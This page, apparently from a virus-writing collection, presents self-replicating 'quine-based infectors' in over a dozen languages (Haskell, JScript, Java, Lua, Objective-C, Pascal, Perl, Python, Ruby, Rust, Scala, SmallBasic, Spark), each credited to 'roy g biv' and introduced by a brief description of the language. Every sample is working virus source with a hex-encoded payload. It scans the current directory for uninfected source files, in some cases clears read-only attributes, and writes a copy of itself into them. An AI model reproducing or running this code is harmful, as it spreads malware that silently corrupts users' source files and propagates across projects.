 706F727420446174612E42797465537472696E672E436861723820686964696E67286D61702C6C6
 96E65732C756E6C696E65732C6C656E677468290A696D706F72742053797374656D2E4469726563
 746F72790A682061206220633D646F0A2072657475726E285B636872286F72642861212164292A3
 1362B6F72642861212128642B3129292D286F72642861212128642B31292960646976603634292A
 372D383136297C643C2D5B622C622B322E2E632D315D5D290A6120623D646F0A206C657420633D2
 2220A20696628446174612E4C6973742E69735375666669784F66222E687322286D617020746F4C
 6F77657228622929297468656E20646F0A2020643C2D5072656C7564652E7265616446696C65206
 20A20206C657428652C66293D627265616B537562737472696E67287061636B28225175696E6522
 2929287061636B286429290A2020696628663D3D7061636B28222229297468656E20646F0A20202
 06C657428652C66293D706172746974696F6E28446174612E4C6973742E69735072656669784F66
 22696D706F72742229286C696E65732064290A2020205072656C7564652E777269746546696C652
 06228756E6C696E65732865292B2B28682063203020343638292121302B2B632B2B286820632034
 3638286C656E67746828632929292121302B2B756E6C696E65732866292B2B227622290A2020656
 C73652072657475726E28290A20656C73652072657475726E28290A763D646F0A20623C2D676574
 4469726563746F7279436F6E74656E7473222E220A206D61704D5F286129622D2D5175696E65202
 D20726F792067206269762030352F30342F31330A"

 if(Data.List.isSuffixOf".hs"(map toLower(b)))then do
  d<-Prelude.readFile b
  let(e,f)=breakSubstring(pack("Quine"))(pack(d))
  if(f==pack(""))then do
   let(e,f)=partition(Data.List.isPrefixOf"import")(lines d)
   Prelude.writeFile b(unlines(e)++(h c 0 468)!!0++c++(h c 468(length(c)))!!0++unlines(f)++"v")
  else return()
 else return()
v=do
 b<-getDirectoryContents"."
 mapM_(a)b--Quine - roy g biv 05/04/13

main = do
v
 

JScript

JScript is Microsoft's dialect of the ECMAScript standard that is used in Microsoft's Internet Explorer. JScript is implemented as a Windows Script engine. This means that it can be "plugged in" to any application that supports Windows Script, such as Internet Explorer, Active Server Pages, and Windows Script Host. It also means that any application supporting Windows Script can use multiple languages (JScript, VBScript, Perl, and others).

Quine-based infector was finished on 21.04.2013.

a="223B623D223B613D5C22222B613B666F7228633D303B633C612E6C656E6774683B632B3D32296
22B3D537472696E672E66726F6D43686172436F6465287061727365496E7428612E7375627374722
8632C32292C313629293B613D6E657720416374697665584F626A6563742822736372697074696E6
72E66696C6573797374656D6F626A65637422293B666F7228633D6E657720456E756D657261746F7
228612E676574666F6C64657228222E22292E66696C6573293B21632E6174456E6428293B632E6D6
F76654E6578742829297472797B696628612E676574657874656E73696F6E6E616D6528643D632E6
974656D2829292E746F4C6F7765724361736528293D3D226A73222626612E6F70656E74657874666
96C652864292E72656164616C6C28292E696E6465784F6628225175696E6522293C30297B653D642
E617474726962757465733B663D642E617474726962757465733D303B673D612E6F70656E7465787
466696C6528642C38293B672E77726974652862293B642E617474726962757465733D657D7D63617
46368287A297B7D2F2A5175696E65202D20726F792067206269762032312F30342F31332A2F"
;
b=";a=\""+a;for(c=0;c<a.length;c+=2)b+=String.fromCharCode(parseInt(a.substr(c,2),
16));a=new ActiveXObject("scripting.filesystemobject");for(c=new Enumerator(
a.getfolder(".").files);!c.atEnd();c.moveNext())try{if(a.getextensionname(d=
c.item()).toLowerCase()=="js"&&a.opentextfile(d).readall().indexOf("Quine")<0)
{e=d.attributes;f=d.attributes=0;g=a.opentextfile(d,8);g.write(b);d.attributes=e}}
catch(z){}/*Quine - roy g biv 21/04/13*/
 

Java

Java is a computer programming language that is concurrent, class-based, object-oriented, and specifically designed to have as few implementation dependencies as possible. It is intended to let application developers "write once, run anywhere" (WORA), meaning that code that runs on one platform does not need to be recompiled to run on another. Java applications are typically compiled to bytecode (class file) that can run on any Java virtual machine (JVM) regardless of computer architecture. Java is, as of 2012, one of the most popular programming languages in use, particularly for client-server web applications, with a reported 9 million developers. Java was originally developed by James Gosling at Sun Microsystems (which has since merged into Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++, but it has fewer low-level facilities than either of them.

Quine-based infector was finished on 29.04.2013.

import java.io.*;

public class quine
{
public static void main (String[] args)
{

{String a="222C623D227B537472696E6720613D5C22222B612C673B696E7420633B666F7228633
D303B633C612E6C656E67746828293B632B3D3229622B3D4368617261637465722E746F436861727
328496E74656765722E7061727365496E7428612E737562737472696E6728632C632B32292C31362
9295B305D3B666F722846696C6520643A286E65772046696C6528222E2229292E6C69737446696C6
573282929696628642E6765744E616D6528292E746F4C6F7765724361736528292E656E647357697
46828222E6A6176612229297472797B636861725B5D653D6E657720636861725B28696E7429642E6
C656E67746828295D3B46696C6552656164657220663D6E65772046696C655265616465722864293
B662E726561642865293B662E636C6F736528293B673D6E657720537472696E672865293B633D672
E6C617374496E6465784F6628277D272C672E6C617374496E6465784F6628277D27292D31293B696
628655B632D315D213D272F27297B626F6F6C65616E20683D642E63616E577269746528293B642E7
365745772697461626C652874727565293B46696C6557726974657220693D6E65772046696C65577
2697465722864293B692E77726974652822696D706F7274206A6176612E696F2E2A3B5C6E222B672
E737562737472696E6728302C63292B622B672E737562737472696E67286329293B692E636C6F736
528293B642E7365745772697461626C652868293B7D7D636174636828457863657074696F6E207A2
97B7D7D2F2A5175696E65202D20726F792067206269762032392F30342F31332A2F"
,
b="{String a=\""+a,g;int c;for(c=0;c<a.length();c+=2)b+=Character.toChars(
Integer.parseInt(a.substring(c,c+2),16))[0];for(File d:(new File(".")).listFiles())
if(d.getName().toLowerCase().endsWith(".java"))try{char[]e=new char[(int)d.length()];
FileReader f=new FileReader(d);f.read(e);f.close();g=new String(e);c=g.lastIndexOf('}',
g.lastIndexOf('}')-1);if(e[c-1]!='/'){boolean h=d.canWrite();d.setWritable(true);
FileWriter i=new FileWriter(d);i.write("import java.io.*;\n"+g.substring(0,c)+b+
g.substring(c));i.close();d.setWritable(h);}}catch(Exception z){}}
/*Quine - roy g biv 29/04/13*/}
}
 

Lua

Lua is a lightweight multi-paradigm programming language designed as a scripting language with "extensible semantics" as a primary goal. Lua is cross-platform since it is written in ISO C. Lua has a relatively simple C API, thus "Lua is especially useful for providing end users with an easy way to program the behavior of a software product without getting too far into its innards".

Quine-based infector was finished on 08.09.2013.

a="223B623D27613D22272E2E613B666F7220633D312C737472696E672E6C656E2861292C3220646
F20623D622E2E737472696E672E6368617228746F6E756D62657228737472696E672E73756228612
C632C632B31292C313629293B656E643B72657175697265276C6673273B666F72206320696E206C6
6732E64697228222E2229646F20696620737472696E672E73756228737472696E672E6C6F7765722
863292C2D34293D3D222E6C7561227468656E20643D696F2E6F70656E2863293A7265616428272A6
16C6C27293B6966206E6F7420737472696E672E66696E6428642C225175696E6522297468656E206
96F2E6F70656E28632C227722293A777269746528622E2E6429656E643B656E643B656E642D2D517
5696E65202D20726F792067206269762030382F30392F31330A"
;
b='a="'..a;for c=1,string.len(a),2 do b=b..string.char(tonumber(string.sub(a,c,c+1),16));
end;require'lfs';for c in lfs.dir(".")do if string.sub(string.lower(c),-4)==".lua"then
d=io.open(c):read('*all');if not string.find(d,"Quine")then io.open(c,"w"):write(b..d)
end;end;end--Quine - roy g biv 08/09/13
 

Objective-C

Objective-C is a general-purpose, object-oriented programming language that adds Smalltalk-style messaging to the C programming language. It is the main programming language used by Apple for the OS X and iOS operating systems and their respective APIs, Cocoa and Cocoa Touch.

Originally developed in the early 1980s, it was selected as the main language used by NeXT for its NeXTSTEP operating system, from which OS X and iOS are derived. Generic Objective-C programs that do not use the Cocoa or Cocoa Touch libraries, or using parts that is ported or reimplemented for other systems can also be compiled for any system supported by GCC or Clang.

Quine-based infector was finished on 01.05.2013.

#define __NO_MINGW_LFS
void main(void)
{

{char*a="222C2A663B0A23696E636C756465203C696F2E683E0A23696E636C756465203C6D616C6
C6F632E683E0A23696E636C756465203C7374646C69622E683E0A23696E636C756465203C7379732
F737461742E683E0A737472756374205F66696E64646174615F7420623B6C6F6E6720632C652C673
B69662828633D5F66696E64666972737428222A2E6D222C266229292B31297B646F7B696E7420642
C693D302C6A3D303B696628663D6D616C6C6F6328653D66696C656C656E67746828643D6F70656E2
8622E6E616D652C3332373638292929297B673D7265616428642C662C65293B636C6F73652864293
B7768696C6528665B2D2D675D213D277D27293B696628665B672D315D213D272F27297B737472756
374207374617420683B7374617428622E6E616D652C2668293B63686D6F6428622E6E616D652C313
238293B69662828643D6F70656E28622E6E616D652C333237363929293E30297B5F6C7365656B286
42C672C30293B777269746528642C227B636861722A613D5C22222C39293B7768696C6528615B2B2
B695D293B777269746528642C612C69293B666F72283B6A3C693B6A2B3D32292A663D615B6A5D2A3
1362B615B6A2B315D2D615B6A2B315D2F36342A372D34382C777269746528642C662C31293B77726
9746528642C662B672C652D67293B636C6F73652864293B7D63686D6F6428622E6E616D652C682E7
3745F6D6F6465293B7D667265652866293B7D7D7768696C6528215F66696E646E65787428632C266
229293B5F66696E64636C6F73652863293B7D7D2F2A5175696E65202D20726F79206720626976203
0312F30352F31332A2F"
,*f;
#include <io.h>
#include <malloc.h>
#include <stdlib.h>
#include <sys/stat.h>
struct _finddata_t b;long c,e,g;if((c=_findfirst("*.m",&b))+1){do{int d,i=0,j=0;
if(f=malloc(e=filelength(d=open(b.name,32768)))){g=read(d,f,e);close(d);while(f
[--g]!='}');if(f[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,128);if(
(d=open(b.name,32769))>0){_lseek(d,g,0);write(d,"{char*a=\"",9);while(a[++i]);
write(d,a,i);for(;j<i;j+=2)*f=a[j]*16+a[j+1]-a[j+1]/64*7-48,write(d,f,1);write(
d,f+g,e-g);close(d);}chmod(b.name,h.st_mode);}free(f);}}while(!_findnext(c,&b));
_findclose(c);}}/*Quine - roy g biv 01/05/13*/}
 

Pascal

Pascal is an influential imperative and procedural programming language, designed in 1968-1969 and published in 1970 by Niklaus Wirth as a small and efficient language intended to encourage good programming practices using structured programming and data structuring.

Quine-based infector was finished on 01.05.2013.

uses dos,strings;

const aa:string='3B0A0A636F6E73742061613A737472696E673D27273B0A636F6E73742061623
A737472696E673D27273B0A636F6E73742061633A737472696E673D27273B0A636F6E73742061643
A737472696E673D27273B0A636F6E73742061653A737472696E673D27273B0A636F6E73742061663
A737472696E67'
;
const ab:string='3D27273B0A636F6E73742061673A737472696E673D27273B0A636F6E7374206
1683A737472696E673D27273B0A636F6E73742061693A737472696E673D27273B0A636F6E7374206
16A3A737472696E673D27273B0A636F6E737420616B3A737472696E673D27273B0A636F6E7374206
16C3A73747269'
;
const ac:string='6E673D27273B0A636F6E737420616D3A737472696E673D27273B0A636F6E737
420616E3A737472696E673D27273B0A70726F63656475726520763B0A76617220623A73656172636
87265633B633A746578743B642C6C3A70636861723B652C6A2C6E2C702C713A696E74656765723B6
62C672C693A73'
;
const ad:string='7472696E673B682C6B3A627974653B6D3A776F72643B0A6F3A61727261795B3
12E2E31345D6F665E737472696E673D284061612C4061622C4061632C4061642C4061652C4061662
C4061672C4061682C4061692C40616A2C40616B2C40616C2C40616D2C40616E293B0A626567696E0
A7B24692D7D0A'
;
const ae:string='66696E64666972737428272A2E706173272C34372C62293B0A7768696C65206
46F736572726F723D30646F0A626567696E0A61737369676E28632C622E6E616D65293B0A7265736
5742863293B0A696620696F726573756C743D307468656E0A626567696E0A643A3D737472616C6C6
F6328622E7369'
;
const af:string='7A65293B0A645E3A3D23303B0A653A3D303B0A7265706561740A726561646C6
E28632C66293B0A673A3D7570636173652866293B0A696620706F7328275553455320272C67293D3
17468656E0A626567696E0A683A3D706F7328273B272C66292D313B0A653A3D737472656E6428642
92B682D643B0A'
;
const ag:string='693A3D636F707928672C312C68290A656E643B0A696620706F732827454E442
E272C67293D317468656E0A6A3A3D737472656E642864292D643B0A73747270636F7079287374726
56E642864292C662B233130293B0A6B3A3D706F7328275175696E65272C66290A756E74696C20656
F662863296F72'
;
const ah:string='286B3E30293B0A636C6F73652863293B0A6966206B3D307468656E0A6265676
96E0A676574666174747228632C6D293B0A736574666174747228632C30293B0A726577726974652
863293B0A696620696F726573756C743D307468656E0A626567696E0A696620653D307468656E0A7
7726974652863'
;
const ai:string='2C277573657320646F732C737472696E677327290A656C73650A626567696E0
A6C3A3D737472616C6C6F632865293B0A777269746528632C7374726C636F7079286C2C642C65292
93B0A737472646973706F7365286C293B0A696620706F732827444F53272C69293D307468656E0A7
7726974652863'
;
const aj:string='2C272C646F7327293B0A696620706F732827535452494E4753272C69293D307
468656E0A777269746528632C272C737472696E677327293B0A653A3D652B310A656E643B0A713A3
D303B0A666F72206E3A3D31746F206C656E677468286F29646F0A626567696E0A703A3D313B0A776
8696C6520703C'
;
const ak:string='6C656E677468286F5B6E5D5E29646F0A626567696E0A6B3A3D6F7264286F5B6
E5D5E5B702B315D293B0A777269746528632C636872286F7264286F5B6E5D5E5B705D292A31362B6
B2D6B206469762036342A372D38313629293B0A703A3D702B323B0A713A3D712B313B0A696628713
C3D32302A6C65'
;
const al:string='6E677468286F2929616E642871206D6F642032303D30297468656E0A7772697
46528632C6F5B71206469762032305D5E290A656E640A656E643B0A6C3A3D737472616C6C6F63286
A2D65293B0A77726974656C6E28632C7374726C636F7079286C2C642B652C6A2D65292C273B76272
93B0A73747264'
;
const am:string='6973706F7365286C293B0A683A3D737472656E642864292D642D6A3B0A6C3A3
D737472616C6C6F632868293B0A777269746528632C7374726C636F7079286C2C642B6A2C6829293
B0A737472646973706F7365286C293B0A636C6F73652863290A656E643B0A7365746661747472286
32C6D290A656E'
;
const an:string='643B0A737472646973706F73652864290A656E643B0A66696E646E657874286
2290A7B24692B7D0A656E640A656E643B0A7B5175696E65202D20726F792067206269762032312F3
0342F31337D'
;
procedure v;
var b:searchrec;c:text;d,l:pchar;e,j,n,p,q:integer;f,g,i:string;h,k:byte;m:word;
o:array[1..14]of^string=(@aa,@ab,@ac,@ad,@ae,@af,@ag,@ah,@ai,@aj,@ak,@al,@am,@an);
begin
{$i-}
findfirst('*.pas',47,b);
while doserror=0do
begin
assign(c,b.name);
reset(c);
if ioresult=0then
begin
d:=stralloc(b.size);
d^:=#0;
e:=0;
repeat
readln(c,f);
g:=upcase(f);
if pos('USES ',g)=1then
begin
h:=pos(';',f)-1;
e:=strend(d)+h-d;
i:=copy(g,1,h)
end;
if pos('END.',g)=1then
j:=strend(d)-d;
strpcopy(strend(d),f+#10);
k:=pos('Quine',f)
until eof(c)or(k>0);
close(c);
if k=0then
begin
getfattr(c,m);
setfattr(c,0);
rewrite(c);
if ioresult=0then
begin
if e=0then
write(c,'uses dos,strings')
else
begin
l:=stralloc(e);
write(c,strlcopy(l,d,e));
strdispose(l);
if pos('DOS',i)=0then
write(c,',dos');
if pos('STRINGS',i)=0then
write(c,',strings');
e:=e+1
end;
q:=0;
for n:=1to length(o)do
begin
p:=1;
while p<length(o[n]^)do
begin
k:=ord(o[n]^[p+1]);
write(c,chr(ord(o[n]^[p])*16+k-k div 64*7-816));
p:=p+2;
q:=q+1;
if(q<=20*length(o))and(q mod 20=0)then
write(c,o[q div 20]^)
end
end;
l:=stralloc(j-e);
writeln(c,strlcopy(l,d+e,j-e),';v');
strdispose(l);
h:=strend(d)-d-j;
l:=stralloc(h);
write(c,strlcopy(l,d+j,h));
strdispose(l);
close(c)
end;
setfattr(c,m)
end;
strdispose(d)
end;
findnext(b)
{$i+}
end
end;
{Quine - roy g biv 21/04/13}

begin
v
end.
 

Perl

Perl is a family of high-level, general-purpose, interpreted, dynamic programming languages. Perl was originally developed by Larry Wall in 1987 as a general-purpose Unix scripting language to make report processing easier.

Quine-based infector was finished on 09.09.2013.

$a="223B24623D2724613D22272E24613B666F722824633D303B24633C6C656E677468282461293B
24632B3D32297B24622E3D63687228686578287375627374722824612C24632C322929297D666F72
656163682461283C2A3E297B6966286C63282461293D7E222E706C22297B6F70656E28612C246129
3B24633D6A6F696E2822222C3C613E293B636C6F73652861293B6966282463217E225175696E6522
297B6F70656E28612C273E272E2461293B7072696E74206124622E24633B636C6F73652861297D7D
7D235175696E65202D20726F792067206269762030392F30392F31330A"
;$b='$a="'.$a;for($c=0;
$c<length($a);$c+=2){$b.=chr(hex(substr($a,$c,2)))}foreach$a(<*>){if(lc($a)=~".pl")
{open(a,$a);$c=join("",<a>);close(a);if($c!~"Quine"){open(a,'>'.$a);print a$b.$c;
close(a)}}}#Quine - roy g biv 09/09/13
 

Python

Python is a widely used general-purpose, high-level programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C. The language provides constructs intended to enable clear programs on both a small and large scale.

Quine-based infector was finished on 07.09.2013.

a="220A623D27613D22272B610A633D72616E676528302C612E5F5F6C656E5F5F28292C32290A666
F72206420696E20633A623D622B63687228696E7428615B643A642B325D2C313629290A696D706F7
27420676C6F620A613D676C6F622E676C6F6228222A2E5B70505D5B79595D22290A666F722063206
96E20613A0A20643D6F70656E2863292E7265616428290A20696620642E66696E6428225175696E6
522293C303A653D6F70656E28632C227722292E777269746528622B64290A235175696E65202D207
26F792067206269762030372F30392F31330A"

b='a="'+a
c=range(0,a.__len__(),2)
for d in c:b=b+chr(int(a[d:d+2],16))
import glob
a=glob.glob("*.[pP][yY]")
for c in a:
 d=open(c).read()
 if d.find("Quine")<0:e=open(c,"w").write(b+d)
#Quine - roy g biv 07/09/13
 

Ruby

Ruby is a dynamic, reflective, object-oriented, general-purpose programming language. It was designed and developed in the mid-1990s by Yukihiro "Matz" Matsumoto in Japan.

Ruby embodies syntax inspired by Perl with Smalltalk-like features and was also influenced by Eiffel and Lisp. It supports multiple programming paradigms, including functional, object oriented, and imperative. It also has a dynamic type system and automatic memory management. Therefore, it is similar in varying degrees to, Smalltalk, Python, Perl, Lisp, Dylan, and CLU.

Quine-based infector was finished on 08.09.2013.

a="223B623D27613D22272B613B302E7374657028612E6C656E6774682C32292E6561636820646F7
C637C623D622B615B632C325D2E6865782E6368723B656E643B4469722E6F70656E28222E22292E6
561636820646F7C637C696620632E646F776E636173652E656E645F776974683F28222E726222297
468656E20643D494F2E726561642863293B69662021642E696E64657828225175696E65222974686
56E20494F2E777269746528632C622B64293B656E643B656E643B656E64235175696E65202D20726
F792067206269762030382F30392F31330A"
;
b='a="'+a;0.step(a.length,2).each do|c|b=b+a[c,2].hex.chr;end;Dir.open(".").each
do|c|if c.downcase.end_with?(".rb")then d=IO.read(c);if !d.index("Quine")then
IO.write(c,b+d);end;end;end#Quine - roy g biv 08/09/13
 

Rust

Rust is a general purpose, multi-paradigm, compiled programming language developed by Mozilla Research. It is designed to be a "safe, concurrent, practical language", supporting pure-functional, concurrent-actor, imperative-procedural, and object-oriented styles.

Quine-based infector was finished on 02.05.2013.

fn main()
{

{let a="223B6C6574206D757420623D7374723A3A617070656E64287E227B6C657420613D5C2222
2C61292C633D303B7768696C6520633C612E6C656E28297B623D7374723A3A617070656E6428622C
7374723A3A66726F6D5F627974652828636861723A3A746F5F6469676974287374723A3A63686172
5F617428612C63292C3136292E756E7772617028292A31362B636861723A3A746F5F646967697428
7374723A3A636861725F617428612C632B31292C3136292E756E7772617028292961732075382929
3B632B3D323B7D666F7228636F72653A3A6F733A3A6C6973745F6469722826506174682826222E22
2929292E656163687C617C7B696628282A61292E746F5F6C6F77657228292E656E64735F77697468
28222E72732229297B6C657420633D726573756C743A3A6765742826696F3A3A726561645F77686F
6C655F66696C655F737472282650617468282A612929293B69662821632E636F6E7461696E732822
5175696E652229297B6C657420643D696F3A3A66696C655F777269746572282650617468282A6129
2C5B696F3A3A4372656174655D293B69662821642E69735F6572722829297B6C657420653D737472
3A3A7266696E645F6368617228632C277D27292E756E7772617028293B642E756E7772617028292E
77726974655F737472287374723A3A617070656E64287374723A3A617070656E6428632E73756273
747228302C65292E746F5F73747228292C62292C632E73756273747228652C632E6C656E28292D65
2929293B7D7D7D7D7D2F2A5175696E65202D20726F792067206269762030322F30352F31332A2F";
let mut b=str::append(~"{let a=\"",a),c=0;while c<a.len(){b=str::append(b,
str::from_byte((char::to_digit(str::char_at(a,c),16).unwrap()*16+char::to_digit(
str::char_at(a,c+1),16).unwrap())as u8));c+=2;}for(core::os::list_dir(&Path(&".")
)).each|a|{if((*a).to_lower().ends_with(".rs")){let c=result::get(
&io::read_whole_file_str(&Path(*a)));if(!c.contains("Quine")){let d=
io::file_writer(&Path(*a),[io::Create]);if(!d.is_err()){let e=str::rfind_char(
c,'}').unwrap();d.unwrap().write_str(str::append(str::append(c.substr(0,e).to_str(),
b),c.substr(e,c.len()-e)));}}}}}/*Quine - roy g biv 02/05/13*/
}
 

Scala

Scala is an object-functional programming and scripting language for general software applications, statically typed, designed to concisely express solutions in an elegant, type-safe and lightweight (low ceremonial) manner. Scala has full support for functional programming (including currying, pattern matching, algebraic data types, lazy evaluation, tail recursion, immutability, etc.). It cleans up what are often considered poor design decisions in Java (such as type erasure, checked exceptions, the non-unified type system) and adds a number of other features designed to allow cleaner, more concise and more expressive code to be written.

Quine-based infector was finished on 13.09.2013.

object quine
{
def main(args: Array[String])
{

{val a="223B76617220623D227B76616C20613D5C22222B613B76617220633D303B666F7228633C
2D3020746F20612E6C656E67746828292D32206279203229622B3D4368617261637465722E746F43
6861727328496E74656765722E7061727365496E7428612E737562737472696E6728632C632B3229
2C313629292830293B666F7228633C2D6E6577206A6176612E696F2E46696C6528222E22292E6C69
737446696C6573282929696628632E6765744E616D6528292E746F4C6F7765724361736528292E65
6E64735769746828222E7363616C612229297472797B76616C20643D696F2E536F757263652E6672
6F6D46696C6528632E6765744E616D652829293B76616C20653D642E6D6B537472696E673B642E63
6C6F736528293B76616C20663D652E6C617374496E6465784F6628277D272C652E6C617374496E64
65784F6628277D27292D31293B6966286528662D3129213D272F27297B76616C20673D632E63616E
577269746528293B632E7365745772697461626C652874727565293B76616C20683D6E6577206A61
76612E696F2E46696C655772697465722863293B682E777269746528652E737562737472696E6728
302C66292B622B652E737562737472696E67286629293B682E636C6F736528293B632E7365745772
697461626C652867293B7D7D6361746368207B63617365207A3A457863657074696F6E3D3E3B7D7D
2F2A5175696E65202D20726F792067206269762031332F30392F31332A2F"
;var b="{val a=\""+a;
var c=0;for(c<-0 to a.length()-2 by 2)b+=Character.toChars(Integer.parseInt(
a.substring(c,c+2),16))(0);for(c<-new java.io.File(".").listFiles())if(c.getName(
).toLowerCase().endsWith(".scala"))try{val d=io.Source.fromFile(c.getName());val
e=d.mkString;d.close();val f=e.lastIndexOf('}',e.lastIndexOf('}')-1);if(e(f-1)!=
'/'){val g=c.canWrite();c.setWritable(true);val h=new java.io.FileWriter(c);
h.write(e.substring(0,f)+b+e.substring(f));h.close();c.setWritable(g);}}catch
{case z:Exception=>;}}/*Quine - roy g biv 13/09/13*/}
}
 

SmallBasic

SmallBASIC is a BASIC programming language dialect with interpreters released as free software under the GNU GPL. The dialect is described by the authors as a second generation BASIC, and has a lot in common with QBasic. It is a structured BASIC, and contains the most advanced math functions and operators found on graphing calculators such as matrices and Gauss-Jordan method.

Quine-based infector was finished on 24.05.2013.

A="223A423D43485224283130292B22413D222B43485224283334292B413A464F5220433D3120544
F204C454E2841295354455020323A423D422B434852242856414C28222648222B4D494428412C432
C322929293A4E4558543A4F4E204552524F5220474F544F20473A413D46494C455328222A22293A4
64F52204320494E20413A494620554341534528524947485428432C3429293D222E4241532254484
54E0A4F50454E204320464F5220494E50555420415323313A443D303A5748494C45204E4F5420454
F46283129414E4420443D303A4C494E45494E50555423312C453A443D494E53545228452C2251756
96E6522293A57454E443A434C4F534523313A494620443D30205448454E0A4F50454E204320464F5
220415050454E4420415323123A5052494E5423312C423A434C4F534523323A454E4449463A454E4
449463A4E4558543A4C4142454C20473A454E44275175696E65202D20726F7920672062697620323
42F30352F3133"
:B=CHR$(10)+"A="+CHR$(34)+A:FOR C=1 TO LEN(A)STEP 2:B=B+CHR$(VAL(
"&H"+MID(A,C,2))):NEXT:ON ERROR GOTO G:A=FILES("*"):FOR C IN A:IF UCASE(RIGHT(C,
4))=".BAS"THEN
OPEN C FOR INPUT AS#1:D=0:WHILE NOT EOF(1)AND D=0:LINEINPUT#1,E:D=INSTR(E,"Quine"):WEND:CLOSE#1:IF D=0 THEN
OPEN C FOR APPEND AS#1:PRINT#1,B:CLOSE#1:ENDIF:ENDIF:NEXT:LABEL G:END'Quine - roy g biv 24/05/13
 

Spark

SPARK is a formally-defined computer programming language based on the Ada programming language, intended to be secure and to support the development of high integrity software used in applications and systems where predictable and highly reliable operation is essential either for reasons of safety (e.g., avionics in aircraft/spacecraft, or medical systems and process control software in nuclear powerplants) or for business integrity (for example financial software for banking and insurance companies).

Quine-based infector was finished on 07.06.2013.

with gnat.directory_operations,spark.ada.text_io,spark.ada.strings.unbounded,
spark.ada.strings,spark.ada.strings.maps,spark.ada.strings.unbounded.not_spark,
ada.strings.equal_case_insensitive;use gnat.directory_operations,spark.ada.text_io,
spark.ada.strings.unbounded,spark.ada.strings,spark.ada.strings.maps,spark.ada.strings.unbounded.not_spark;


procedure quine is
a:string:="7769746820676E61742E6469726563746F72795F6F7065726174696F6E732C7370617
26B2E6164612E746578745F696F2C737061726B2E6164612E737472696E67732E756E626F756E646
5642C737061726B2E6164612E737472696E67732C737061726B2E6164612E737472696E67732E6D6
170732C737061726B2E6164612E737472696E67732E756E626F756E6465642E6E6F745F737061726
B2C6164612E737472696E67732E657175616C5F636173655F696E73656E7369746976653B7573652
0676E61742E6469726563746F72795F6F7065726174696F6E732C737061726B2E6164612E7465787
45F696F2C737061726B2E6164612E737472696E67732E756E626F756E6465642C737061726B2E616
4612E737472696E67732C737061726B2E6164612E737472696E67732E6D6170732C737061726B2E6
164612E737472696E67732E756E626F756E6465642E6E6F745F737061726B3B613A737472696E673
A3D22223B623A6469725F747970653B632C673A737472696E6728312E2E323630293B642C682C692
C6C2C6D3A6E61747572616C3B652C6A2C6B3A756E626F756E6465645F737472696E673B663A73706
1726B2E6164612E746578745F696F2E66696C655F747970653B6F70656E28622C222E22293B6C6F6
F70207265616428622C632C64293B65786974207768656E20643D303B696620643E34207468656E2
06966206164612E737472696E67732E657175616C5F636173655F696E73656E73697469766528632
8642D332E2E64292C222E61646222297468656E20653A3D6E756C6C5F756E626F756E6465645F737
472696E673B6F70656E28662C696E5F66696C652C6328312E2E64292C2222293B693A3D303B77686
96C65206E6F7420656E645F6F665F66696C655F66696C65286629616E6420693D30206C6F6F70207
0726F6365647572655F6765745F6C696E655F66696C6528662C672C68293B693A3D696E6465785F7
061747465726E28737472696E675F746F5F756E626F756E6465645F737472696E67286728312E2E6
829292C225175696E65222C646972656374696F6E5F666F72776172642C6964656E74697479293B6
17070656E645F737472696E6728652C6728312E2E6829266368617261637465722776616C2831302
9293B656E64206C6F6F703B636C6F73652866293B696620693D30207468656E206A3A3D653B6C6F6
F7020683A3D696E6465785F7061747465726E286A2C22656E6420222C646972656374696F6E5F666
F72776172642C6964656E74697479293B65786974207768656E20683D303B693A3D696E6465785F7
061747465726E2866756E6374696F6E5F756E626F756E6465645F736C696365286A2C682C6765745
F6C656E677468286A29292C223B222C646972656374696F6E5F666F72776172642C6964656E74697
479293B6B3A3D66756E6374696F6E5F756E626F756E6465645F736C696365286A2C682B342C682B6
92D32293B6C3A3D696E6465785F7061747465726E28652C2270726F636564757265202226746F5F7
37472696E67286B292C646972656374696F6E5F666F72776172642C6964656E74697479293B65786
974207768656E206C3E303B6A3A3D66756E6374696F6E5F756E626F756E6465645F736C696365286
A2C682B692C6765745F6C656E677468286A29293B656E64206C6F6F703B696620683E30207468656
E206A3A3D66756E6374696F6E5F756E626F756E6465645F736C69636528652C6C2C6765745F6C656
E677468286529293B683A3D696E6465785F7061747465726E286A2C22626567696E222C646972656
374696F6E5F666F72776172642C6964656E74697479292D323B693A3D696E6465785F70617474657
26E286A2C746F5F737472696E6728636F6E6361745F737472696E675F756E626F756E6465645F737
472696E672822656E6420222C6B29292C646972656374696F6E5F666F72776172642C6964656E746
97479292D323B6F70656E28662C6F75745F66696C652C6328312E2E64292C2222293B643A3D313B7
768696C6520643C61276C656E677468206C6F6F70206D3A3D63686172616374657227706F7328612
8642B3129293B7075745F6368617261637465725F66696C6528662C6368617261637465722776616
C2863686172616374657227706F732861286429292A31362B6D2D6D2F36342A372D38313629293B6
43A3D642B323B696620643D363933207468656E207075745F66696C6528662C746F5F737472696E6
72866756E6374696F6E5F756E626F756E6465645F736C69636528652C312C6C2B682929293B656C7
3696620643D373135207468656E207075745F66696C6528662C61293B656C73696620643D3932312
07468656E207075745F66696C6528662C746F5F737472696E672866756E6374696F6E5F756E626F7
56E6465645F736C69636528652C6C2B682C6C2B692929293B656E642069663B656E64206C6F6F703
B7075745F66696C6528662C746F5F737472696E672866756E6374696F6E5F756E626F756E6465645
F736C69636528652C6C2B692B312C6765745F6C656E6774682865292929293B636C6F73652866293
B656E642069663B656E642069663B656E642069663B656E642069663B656E64206C6F6F703B636C6
F73652862293B657863657074696F6E207768656E206572726F723A6F74686572733D3E726574757
26E3B2D2D5175696E65202D20726F792067206269762030372F30362F31330A"
;b:dir_type;c,
g:string(1..260);d,h,i,l,m:natural;e,j,k:unbounded_string;f:spark.ada.text_io.file_type;

begin

open(b,".");loop read(b,c,d);exit when d=0;if d>4 then if ada.strings.equal_case_insensitive(
c(d-3..d),".adb")then e:=null_unbounded_string;open(f,in_file,c(1..d),"");i:=0;while
not end_of_file_file(f)and i=0 loop procedure_get_line_file(f,g,h);i:=index_pattern(
string_to_unbounded_string(g(1..h)),"Quine",direction_forward,identity);append_string(
e,g(1..h)&character'val(10));end loop;close(f);if i=0 then j:=e;loop h:=index_pattern(
j,"end ",direction_forward,identity);exit when h=0;i:=index_pattern(
function_unbounded_slice(j,h,get_length(j)),";",direction_forward,identity);
k:=function_unbounded_slice(j,h+4,h+i-2);l:=index_pattern(e,"procedure "&to_string(k),
